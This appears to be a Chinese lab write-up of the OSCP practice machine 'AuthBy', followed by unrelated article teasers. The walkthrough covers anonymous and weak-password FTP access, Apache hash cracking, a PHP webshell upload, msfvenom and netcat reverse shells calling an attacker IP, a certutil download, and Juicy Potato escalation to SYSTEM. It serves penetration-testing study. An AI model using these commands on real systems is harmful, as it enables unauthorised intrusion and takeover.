OSCP靶机--AuthBy

news2025/4/20 3:52:49

OSCP靶机–AuthBy

1.考点

(1. ftp匿名登陆,搜集信息 2.ftp弱密码 3.hash破解【hashcat与john】4.Windows_Server_2008_R2_Enterprise 土豆提权(32bit))

1.nmap


┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.225.46 -sV -sC -p-  --min-rate 5000 
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-24 19:54 EST
Nmap scan report for 192.168.225.46
Host is up (0.27s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
21/tcp   open  ftp                zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| total 9680
| ----------   1 root     root      5610496 Oct 18  2011 zFTPServer.exe
| ----------   1 root     root           25 Feb 10  2011 UninstallService.bat
| ----------   1 root     root      4284928 Oct 18  2011 Uninstall.exe
| ----------   1 root     root           17 Aug 13  2011 StopService.bat
| ----------   1 root     root           18 Aug 13  2011 StartService.bat
| ----------   1 root     root         8736 Nov 09  2011 Settings.ini
| dr-xr-xr-x   1 root     root          512 Feb 25 08:55 log
| ----------   1 root     root         2275 Aug 09  2011 LICENSE.htm
| ----------   1 root     root           23 Feb 10  2011 InstallService.bat
| dr-xr-xr-x   1 root     root          512 Nov 08  2011 extensions
| dr-xr-xr-x   1 root     root          512 Nov 08  2011 certificates
|_dr-xr-xr-x   1 root     root          512 Feb 18  2023 accounts
242/tcp  open  http               Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
| http-auth: 
| HTTP/1.1 401 Authorization Required\x0D
|_  Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
|_http-title: 401 Authorization Required
|_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8
3145/tcp open  zftp-admin         zFTPServer admin
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: LIVDA
|   NetBIOS_Domain_Name: LIVDA
|   NetBIOS_Computer_Name: LIVDA
|   DNS_Domain_Name: LIVDA
|   DNS_Computer_Name: LIVDA
|   Product_Version: 6.0.6001
|_  System_Time: 2024-02-25T00:55:54+00:00
|_ssl-date: 2024-02-25T00:55:59+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=LIVDA
| Not valid before: 2023-01-28T03:26:23
|_Not valid after:  2023-07-30T03:26:23
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.64 seconds

2.user priv

2.1 ftp匿名登陆:发现用户名——》爆破

┌──(root㉿kali)-[~/Desktop]
└─# ftp 192.168.225.46 
ftp> cd accounts
250 CWD Command successful.
ftp> ls
229 Entering Extended Passive Mode (|||2050|)
150 Opening connection for /bin/ls.
total 4
dr-xr-xr-x   1 root     root          512 Feb 18  2023 backup
----------   1 root     root          764 Feb 18  2023 acc[Offsec].uac
----------   1 root     root         1032 Feb 25 08:55 acc[anonymous].uac
----------   1 root     root          926 Feb 18  2023 acc[admin].uac
226 Closing data connection.
ftp> cd backup
250 CWD Command successful.
ftp> ls
229 Entering Extended Passive Mode (|||2051|)
150 Opening connection for /bin/ls.
total 4
----------   1 root     root          764 Jan 29  2023 acc[Offsec].uac
----------   1 root     root         1030 Jan 29  2023 acc[anonymous].uac
----------   1 root     root          926 Jan 29  2023 acc[admin].uac
226 Closing data connection.
ftp> put test.html
local: test.html remote: test.html
229 Entering Extended Passive Mode (|||2053|)
550 Access denied

ftp admin账户可以写入文件,但是http:242需要密码认证:
在这里插入图片描述
爆破:
在这里插入图片描述
弱密码:admin:admin登陆ftp成功:
在这里插入图片描述

2.2 ftp发现密码hash

┌──(root㉿kali)-[~/Desktop]
└─# ftp 192.168.225.46 
ftp> get .htpasswd
local: .htpasswd remote: .htpasswd
229 Entering Extended Passive Mode (|||2059|)
150 File status okay; about to open data connection.
100% |*********************************************************************************************************************|    45      976.56 KiB/s    00:00 ETA
226 Closing data connection.
45 bytes received in 00:00 (0.17 KiB/s)
ftp> get .htaccess
local: .htaccess remote: .htaccess
229 Entering Extended Passive Mode (|||2060|)
150 File status okay; about to open data connection.
100% |*********************************************************************************************************************|   161        1.56 MiB/s    00:00 ETA
226 Closing data connection.
161 bytes received in 00:00 (0.63 KiB/s)

## 查看密码文件:
┌──(root㉿kali)-[~/Desktop]
└─# cat .htpasswd             
offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0
                                                                                                                                                                  
┌──(root㉿kali)-[~/Desktop]
└─# cat .htaccess 
AuthName "Qui e nuce nuculeum esse volt, frangit nucem!"
AuthType Basic
AuthUserFile c:\\wamp\www\.htpasswd
<Limit GET POST PUT>
Require valid-user
</Limit>                                                                                                                                                                  

2.3 识别hash类型,破解hash

## 识别hash
┌──(root㉿kali)-[~/Desktop]
└─# hashid '$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0'                              
Analyzing '$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0'
[+] MD5(APR) 
[+] Apache MD5 

## 
┌──(root㉿kali)-[~/Desktop]
└─# hashcat --help | grep -i "Apache"
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)               | FTP, HTTP, SMTP, LDAP Server

##
┌──(root㉿kali)-[~/Desktop]
└─# cat 1.hash   
$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0

 
##  破解hash                                                                                                                                                                
┌──(root㉿kali)-[~/Desktop]
└─# hashcat -m 1600 -a 0 1.hash /usr/share/wordlists/rockyou.txt --force 
$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0:elite  

在这里插入图片描述
offsec:elite能够登陆http服务:

2.4 ftp上传webshell:

https://github.com/WhiteWinterWolf/wwwolf-php-webshell
在这里插入图片描述

2.5 将webshell转为交互式shell【二进制exe反弹遇到问题】

##
┌──(root㉿kali)-[~/Desktop]
└─# msfvenom -p windows/x86/shell_reverse_tcp LHOST=192.168.45.187 LPORT=443 -f exe -o shell443.exe


## webshell上传shell443.exe

## 反弹shell:
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 443
listening on [any] 443 ...


在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

2.6 使用windows-php-reverse-shell反弹交互式shell:

https://github.com/Dhayalanb/windows-php-reverse-shell

## webshell上传windows-php-reverse-shell

## nc监听:
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 443
listening on [any] 443 ...

## 浏览器访问反弹shell并获取local.txt:
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 443
listening on [any] 443 ...
192.168.225.46: inverse host lookup failed: Unknown host
connect to [192.168.45.187] from (UNKNOWN) [192.168.225.46] 49157
b374k shell : connected

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\wamp\www>whoami&ipconfig
whoami&ipconfig
livda\apache

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::4847:e2af:df81:30ce%12
   IPv4 Address. . . . . . . . . . . : 192.168.225.46
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.225.254

c:\Users\apache\Desktop>type local.txt
type local.txt
9712fffa620eb4d2ca62184c38c3abed

在这里插入图片描述
在这里插入图片描述
反弹shell:
在这里插入图片描述
在这里插入图片描述

3.root priv

3.1 winpeas(exe版本问题,使用bat版本)

https://github.com/carlospolop/PEASS-ng/blob/master/winPEAS/winPEASbat/winPEAS.bat
winpeas检测无发现:

##
certutil -urlcache -split -f http://192.168.45.187/winPEAS.bat

3.2 土豆提权:

## 
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

## ## SeImpersonatePrivilege 土豆提权:
## 
## 土豆提权:因为目标是X86系统,所以要找32bit的exp:
https://pentesting.zeyu2001.com/proving-grounds/get-to-work/authby#privilege-escalation

## Juicy x86:
https://github.com/ivanitlearning/Juicy-Potato-x86/releases

## system查看操作系统是:Windows Server 2008.在以下连接查找对应的CLSID:
https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise

## 官方nc下载:
## https://eternallybored.org/misc/netcat/ 
## 上传32bit的nc.exe,juicy.potato.x86.exe
juicy.potato.x86.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\wamp\www\nc.exe -e cmd.exe 192.168.45.187 7003" -t * -c {69AD4AEE-51BE-439b-A92C-86AE490E8B30}

## proof.txt
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 7003
listening on [any] 7003 ...
192.168.225.46: inverse host lookup failed: Unknown host
connect to [192.168.45.187] from (UNKNOWN) [192.168.225.46] 49167
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami&ipconfig
whoami&ipconfig
nt authority\system

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::4847:e2af:df81:30ce%12
   IPv4 Address. . . . . . . . . . . : 192.168.225.46
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.225.254

Tunnel adapter Local Area Connection*:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Tunnel adapter Local Area Connection* 9:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Tunnel adapter Local Area Connection* 2:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

C:\Windows\system32>type c:\users\administrator\Desktop\proof.txt
type c:\users\administrator\Desktop\proof.txt
7b39ccf4dcc953c27cc547f15a74ad0c


在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4.总结

### 1. ftp匿名登陆,搜集信息
### 2.ftp弱密码
### 3.hash破解【hashcat与john】
### 4.Windows_Server_2008_R2_Enterprise 土豆提权(32bit)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1470361.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Django开发】0到1开发美多shop项目:用户登录模块开发。全md文档笔记(附代码 文档)

本系列文章md笔记&#xff08;已分享&#xff09;主要讨论django商城项目相关知识。项目利用Django框架开发一套前后端不分离的商城项目&#xff08;4.0版本&#xff09;含代码和文档。功能包括前后端不分离&#xff0c;方便SEO。采用Django Jinja2模板引擎 Vue.js实现前后端…

undo日志详解

一、undo日志介绍 上一节详细的说了redo日志&#xff0c;redo日志的功能就是把增删改操作都记录着&#xff0c;如果断电导致内存中的脏页丢失&#xff0c;可以根据磁盘中的redo日志文件进行恢复。redo日志被设计出来是为了保证数据库的持久性&#xff0c;undo日志设计出来是为…

【Java程序设计】【C00278】基于Springboot的数码论坛管理系统(有论文)

基于Springboot的数码论坛管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的数码论坛系统 本系统分为系统功能模块、管理员功能模块以及用户功能模块。 系统功能模块&#xff1a;在系统首页可以查看首页、…

CSS列表学习2

之前学习了列表&#xff1b;继续熟悉&#xff1b; <!DOCTYPE html> <html> <head> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/><title></title><meta charset"utf-8" /><…

Django学习笔记-HTML实现服务器图片的下载

1.index编写代码,跳转下载页面 2.创建download界面 3.编写download路由 4.创建download函数 1).如果请求的方法是GET&#xff0c;imglist变量存储从models.imgModel模型中获取的所有对象,创建字典ctx,使用render函数来渲染download.htm 2).如果请求的方法是POST,获取要下载的文…

tinymce问题处理

Vite构建工具下Tinymce踩坑指南 解决方案是在路劲前面增加/&#xff0c;这个跟上面链接有些区别&#xff0c;区别原因应该是如果路由采用的是createWebHashHistory则应该去掉/&#xff0c;如果是createWebHistory则应该加上/ 页面引用,一种异步加载&#xff0c;一种同步加载&…

挑战杯 基于大数据的股票量化分析与股价预测系统

文章目录 0 前言1 课题背景2 实现效果3 设计原理QTChartsarma模型预测K-means聚类算法算法实现关键问题说明 4 部分核心代码5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于大数据的股票量化分析与股价预测系统 该项目较为新颖…

RK3568平台开发系列讲解(Linux系统篇)字符设备驱动:主设备和次设备

🚀返回专栏总目录 文章目录 一、主设备和次设备的概念二、设备号的分配和释放沉淀、分享、成长,让自己和他人都能有所收获!😄 字符设备通过字符(一个接一个的字符)以流方式向用户程序传递数据,就像串行端口那样。字符设备驱动通过/dev目录下的特殊文件公开设备的属性和…

涵盖5大领域的机器学习工具介绍

随着数据的产生及其使用量的不断增加&#xff0c;对机器学习模型的需求也在成倍增加。由于ML系统包含了算法和丰富的ML库&#xff0c;它有助于分析数据和做出决策。难怪机器学习的知名度越来越高&#xff0c;因为ML应用几乎主导了现代世界的每一个方面。随着企业对这项技术的探…

详细教程!VMware Workstation Pro16 安装 + 创建 win7 虚拟机!

嚯嚯嚯&#xff0c;很多宝子都想拥有自己不同的操作系统环境&#xff0c;用于学习或项目搭建。买服务器费钱&#xff0c;虚拟机则成为了一个很好的选择。本文详细介绍VMware Workstation Pro 16安装及win7虚拟机创建&#xff0c;保姆级教程奉上&#xff01; 一、准备工作 VMw…

在Sora引爆视频生成时,Meta开始用Agent自动剪视频了

未来&#xff0c;视频剪辑可能也会像视频生成领域一样迎来 AI 自动化操作的大爆发。 这几天&#xff0c;AI 视频领域异常地热闹&#xff0c;其中 OpenAI 推出的视频生成大模型 Sora 更是火出了圈。而在视频剪辑领域&#xff0c;AI 尤其是大模型赋能的 Agent 也开始大显身手。 …

【python】0、超详细介绍:json、http

文章目录 一、json二、http2.1 json 读取 request 序列化 三、基本类型3.1 decimal 四、图像4.1 颜色格式转换 一、json import json f open(data.json) # open json file data json.load(f) # 读出 json object for i in data[emp_details]: # 取出一级属性 emp_details, …

基础复习(GDB调试)

1.GDB环境配置 这里只说Pwndbg Pwndbg的安装简单&#xff0c;访问Github主页&#xff0c;https://github.com/pwndbg/pwndbg 在“How”栏中看到安装说明 2.打开文件 GDB打开文件的方式与图形化的工具不同&#xff0c;需要通过传入参数或执行命令 方式1&#xff1a;在GDB的…

Python实现DAS单点登录

❇️ 流程 进入登录页面 &#xff08;DAS验证的登录页面&#xff09; 获取验证码图像&#xff0c;百度OCR识别 登录 &#x1f3de;️ 环境 Windows 11 Python 3.12 PyCharm 2023 &#x1f9f5; 准备工作 安装必要依赖库 bs4 Jupyter 推荐安装 Jupyter&#xff08;Anaco…

WSL2配置Linux、Docker、VS Code、zsh、oh my zsh(附Docker开机自启设置)

0. 写在前面 本篇笔记来自于UP主麦兜搞IT的合集视频Windows10开发环境搭建中的部分内容 1. 安装WSL2 按照微软官方文档进行操作&#xff0c;当然也可以直接wsl --install 也可以按照 旧版手动安装的步骤 来进行操作 选择安装的是Ubuntu 20.04 LTS 注&#xff1a;WSL默认安装…

Vue + Echarts页面内存占用高问题解决

Vue Echarts页面内存占用高问题解决 1.问题描述 目前使用的是Vue2 Echarts4.x的组合&#xff0c;页面如下所示。 就是一个类似于神策的数据看板页面&#xff0c;左侧是一个导航栏&#xff0c;右侧看板页面中包含很多个报表图片&#xff0c;其中报表页面中对Echarts图表进…

Vision Mamba:使用双向状态空间模型进行高效视觉表示学习

模型效果 将DeiT和Vim模型之间的性能和效率比较&#xff0c;为了进行准确性比较&#xff0c;我们首先在IN1K分类数据集上预训练DeiT和Vim&#xff0c;然后在不同的下游密集预测任务上微调通用主干&#xff0c;即&#xff0c;语义分割、目标检测、实例分割。结果表明&#xff0c…

linux之前后端项目部署与发布

目录 前言 简介 一、安装Nginx 二、后端部署 2.1多个tomcat负载均衡 2.2 负载均衡 2.3 后端项目部署 三、前端部署 1.解压前端 2.Nginx配置文件修改 3.IP域名映射 4.重启Nginx服务 前言 上篇博主已经讲解过了单机项目的部署linux之JAVA环境配置JDK&Tomcat&a…

人人都是项目管理者,项目管理的基础入门

一、教程描述 本套教程旨在系统介绍项目管理的方法论&#xff0c;帮助大家认识、熟悉、体验、思考项目管理&#xff0c;全面掌握项目管理的流程与方法&#xff0c;快速成长为时代紧缺型的项目管理人才。本套项目管理入门教程&#xff0c;大小805.40M&#xff0c;共有13个文件。…

YOLO目标检测——电力绝缘子缺陷检测数据集【含对应voc、coco和yolo三种格式标签集】

实际项目应用&#xff1a;电力绝缘子缺陷检测数据集的应用范围涵盖了电力设备制造、供应、维护、监控等多个领域&#xff0c;对提升电力系统的安全性、可靠性和效率具有重要意义数据集说明&#xff1a;无缺和有缺陷两种标签类别。标签说明&#xff1a;使用lableimg标注软件标注…